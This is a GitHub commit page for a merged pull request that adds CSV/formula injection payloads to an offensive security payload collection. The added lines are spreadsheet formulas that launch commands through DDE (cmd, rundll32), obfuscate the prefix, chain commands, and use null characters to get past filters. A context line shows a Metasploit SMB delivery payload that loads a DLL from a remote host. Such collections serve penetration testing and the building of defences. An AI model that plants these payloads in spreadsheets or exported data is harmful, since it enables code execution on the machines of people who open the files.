Skip to content

Commit

Permalink
Merge pull request #345 from Tametomo/patch-1
Browse files Browse the repository at this point in the history
Added additional CSV injection cases patterned after in the wild samples
  • Loading branch information
swisskyrepo committed Mar 17, 2021
2 parents 22a1662 + 126555e commit 5a3427c
Showing 1 changed file with 15 additions and 0 deletions.
15 changes: 15 additions & 0 deletions CSV Injection/README.md
Original file line number Diff line number Diff line change
Expand Up @@ -20,6 +20,20 @@ DDE ("cmd";"/C calc";"!A0")A0
# msf smb delivery with rundll32
=cmd|'/c rundll32.exe \\10.0.0.1\3\2\1.dll,0'!_xlbgnm.A1
# Prefix obfuscation and command chaining
=AAAA+BBBB-CCCC&"Hello"/12345&cmd|'/c calc.exe'!A
=cmd|'/c calc.exe'!A*cmd|'/c calc.exe'!A
+thespanishinquisition(cmd|'/c calc.exe'!A
= cmd|'/c calc.exe'!A
# Using rundll32 instead of cmd
=rundll32|'URL.dll,OpenURL calc.exe'!A
=rundll321234567890abcdefghijklmnopqrstuvwxyz|'URL.dll,OpenURL calc.exe'!A
# Using null characters to bypass dictionary filters. Since they are not spaces, they are ignored when executed.
= C m D | '/ c c al c . e x e ' ! A
```

Technical Details of the above payload:
Expand All @@ -46,3 +60,4 @@ Any formula can be started with
* [From CSV to Meterpreter - 5th November 2015 - Adam Chester](https://blog.xpnsec.com/from-csv-to-meterpreter/)
* [CSV Injection -> Meterpreter on Pornhub - @ZephrFish Andy](https://news.webamooz.com/wp-content/uploads/bot/offsecmag/147.pdf)
* [The Absurdly Underestimated Dangers of CSV Injection - 7 October, 2017 - George Mauer](http://georgemauer.net/2017/10/07/csv-injection.html)
* [Three New DDE Obfuscation Methods](https://blog.reversinglabs.com/blog/cvs-dde-exploits-and-obfuscation)

0 comments on commit 5a3427c

Please sign in to comment.